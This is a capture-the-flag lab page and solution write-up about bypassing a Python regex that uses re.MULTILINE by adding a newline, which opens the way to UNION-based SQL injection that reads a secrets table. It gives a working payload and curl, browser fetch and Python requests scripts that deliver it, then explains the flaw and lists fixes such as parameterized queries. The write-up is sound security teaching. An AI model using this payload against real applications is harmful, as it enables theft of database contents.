Avatar

Labs / Regex Bypass to SQLi

  • Challenge
  • Released 27 Oct 2025

🎯 One character. One flag. Can you exploit the regex?

A corporate directory validates user input with a regex pattern and Python's re.MULTILINE flag. The developers are confident their ^[a-z0-9 ]+$ pattern blocks all SQL injection attempts. They don't realize that MULTILINE changes how ^ and $ anchors behave. Security researchers know that a single control character can split validation logic across lines, bypassing even careful regex checks. Exploit this documented vulnerability and demonstrate why regex patterns cannot secure SQL queries.

1
Flags
5
Points
Challenge
Pro Exclusive
Start Lab Environment
~1-2 min setup
AWS dedicated
Private instance
Industry standard
Challenge

Regex Bypass to SQL Injection - Solution

Objective: Bypass regex-based input validation using newline characters to exploit SQL injection and extract the flag from the secrets table.
Step 1: Understanding the Regex Vulnerability

The application uses a regex pattern with Python's re.MULTILINE flag:

safe_pattern = r'^[a-z0-9 ]+$'
if re.search(safe_pattern, user_input, re.MULTILINE):
    return True  # Valid input

The Critical Vulnerability:

  • With re.MULTILINE, the ^ anchor matches the START of ANY line (not just the string)
  • The $ anchor matches the END of ANY line (not just the string)
  • re.search returns True if ANY line in the input matches the pattern
  • Input like "abc\nUNION SELECT" passes validation because "abc" matches ^[a-z0-9 ]+$
  • The second line with SQL injection is completely ignored by the regex check!
Reference: This vulnerability is documented at Bypassing Regular Expression Checks with a Line Feed
Step 2: Discover the Database Structure

The challenge page displays the database structure in the "Database Information" section:

  • users table: id, username, email, role, created_at
  • secrets table: id, secret_type, secret_value, description

The flag is stored in secrets.secret_value. You can also verify this by visiting /api/schema.

Step 3: Understanding the SQL Query

The vulnerable query structure shown in the response:

SELECT id, username, email, role FROM users WHERE username LIKE '%{your_input}%'

Key Details:

  • The query has 4 columns - any UNION must match this count
  • Input is inserted into a LIKE pattern with % wildcards
  • The regex only validates alphanumeric characters - it doesn't block quotes!
  • We can use quotes to escape the LIKE string once we bypass the regex
Step 4: Crafting the Bypass Payload

Structure: [safe line]\n[SQL injection]

a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--

Note: The visual display above shows two lines for clarity. In actual code, use \n (backslash-n) between them, as shown in Step 5.

Payload Breakdown:

  • a - First line: passes regex check (matches ^[a-z0-9 ]+$)
  • \n - Newline character creates a second line
  • ' - Closes the LIKE string (not blocked by regex!)
  • UNION SELECT - Combines results from two queries
  • id,secret_type,secret_value,description - 4 columns matching the original query
  • FROM secrets - Targets the secrets table with the flag
  • -- - SQL comment removes the trailing %'
Step 5: Executing the Attack
Method 1: Using curl

Use single quotes around the JSON with the \n escape sequence (backslash followed by letter n):

curl -X POST http://<target-ip>/api/search \
  -H "Content-Type: application/json" \
  -d '{"search":"a\n'"'"' UNION SELECT id,secret_type,secret_value,description FROM secrets--"}'

Critical: The \n must be typed as two characters (backslash then n), NOT by pressing Enter. Copy the command above carefully.

Method 2: Browser Console with Fetch API

Open browser Developer Tools (F12), go to Console tab, and paste this:

fetch('/api/search', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    search: "a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--"
  })
}).then(r => r.json()).then(d => {
  console.log(d);
  if(d.results) d.results.forEach(r => console.log('Flag:', r.email));
})

In JavaScript strings, \n is automatically converted to a newline character.

Method 3: Python Script

Save this as exploit.py and run with: python3 exploit.py

import requests

url = 'http://<target-ip>/api/search'
payload = "a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--"

response = requests.post(url, json={'search': payload})
data = response.json()

if data.get('success'):
    for result in data.get('results', []):
        if 'email' in result:
            print(f"Flag: {result['email']}")

In Python strings, \n is automatically converted to a newline character.

How It Works: The \n escape sequence in JSON/JavaScript/Python is parsed as an actual newline character (ASCII 10). This splits the input into two lines: line 1 is "a" (passes regex validation), and line 2 is the SQL injection (ignored by regex but executed as SQL).
Common Mistakes to Avoid:
  • DO NOT press Enter after "a" in the curl command - type backslash-n instead
  • DO NOT use literal newlines in JSON - causes 400 Bad Request error
  • The web interface search box cannot send newline characters - you must use the API directly
  • When copying from documentation, ensure \n stays as two characters (\ and n)
Step 6: Understanding the Execution

The constructed SQL query becomes:

SELECT id, username, email, role FROM users 
WHERE username LIKE '%a\n' UNION SELECT id,secret_type,secret_value,description FROM secrets--%'

Execution Flow:

  1. Regex validation: First line "a" matches the safe pattern → validation passes
  2. SQL execution: Input inserted with newline character intact
  3. The quote on line 2 closes the LIKE string early: LIKE '%a\n'
  4. UNION combines results from users table (if any) with secrets table
  5. The -- comment removes the trailing %' preventing syntax errors
  6. Column mapping: id→id, secret_type→username, secret_value→email, description→role
Step 7: Retrieving the Flag

The application returns the injected query results. The flag appears in the "email" field (3rd column, which maps to secret_value from the secrets table).

Success! You've bypassed the regex filter using a newline character and successfully performed SQL injection to extract sensitive data.
Why This Attack Works
The Vulnerability:
  • MULTILINE flag makes ^ and $ match per-line
  • re.search finds if ANY line matches pattern
  • Newline splits input into multiple lines
  • Only first line needs to pass validation
  • Second line with malicious code is ignored
The Exploitation:
  • First line contains safe characters
  • Second line contains SQL injection
  • Quotes escape the LIKE string
  • UNION combines query results
  • SQL comment removes trailing syntax
Proper Defense Mechanisms
VULNERABLE (Current Implementation):
if re.search(r'^[a-z0-9 ]+$', input, re.MULTILINE):
    return True  # Checks per-line, not whole string!
FIX #1: Use \A and \z for String Boundaries:
if re.search(r'\A[a-z0-9 ]+\z', input):
    return True  # Checks entire string, unaffected by newlines
FIX #2: Remove MULTILINE Flag:
if re.search(r'^[a-z0-9 ]+$', input):  # Without MULTILINE
    return True  # ^ and $ now match string boundaries
FIX #3: Parameterized Queries (Best Practice):
query = "SELECT ... WHERE username LIKE ?"
cursor.execute(query, ('%' + search_term + '%',))

Why These Solutions Work:

  • \A and \z always match string start/end, never affected by any flags
  • Without MULTILINE, ^ and $ match string boundaries (not line boundaries)
  • Parameterized queries treat input as data, never as executable code
  • Database driver handles all escaping automatically
  • Regex validation alone cannot prevent SQL injection - always use parameterized queries
Key Takeaways
  • MULTILINE changes regex behavior - ^ and $ match line boundaries instead of string boundaries
  • Use \A and \z for string matching - They're immune to MULTILINE and always match string start/end
  • Newline bypass is powerful - Split malicious payload across lines to evade per-line regex checks
  • Regex cannot secure SQL - Always use parameterized queries for SQL injection prevention
  • Understand regex flags - MULTILINE, DOTALL, and other flags significantly change pattern behavior
  • Test with special characters - Always test validation with newlines, nulls, and other control characters
Real-World Impact: This vulnerability appears in production applications where developers misunderstand regex flags. The MULTILINE flag is often added thinking it improves validation, but it actually creates a bypass opportunity. According to security research by David Hamann, this pattern is found in Ruby, Python, and other languages. Professional penetration testers should always test for newline injection when encountering regex validation, as it represents a real and exploitable class of vulnerabilities.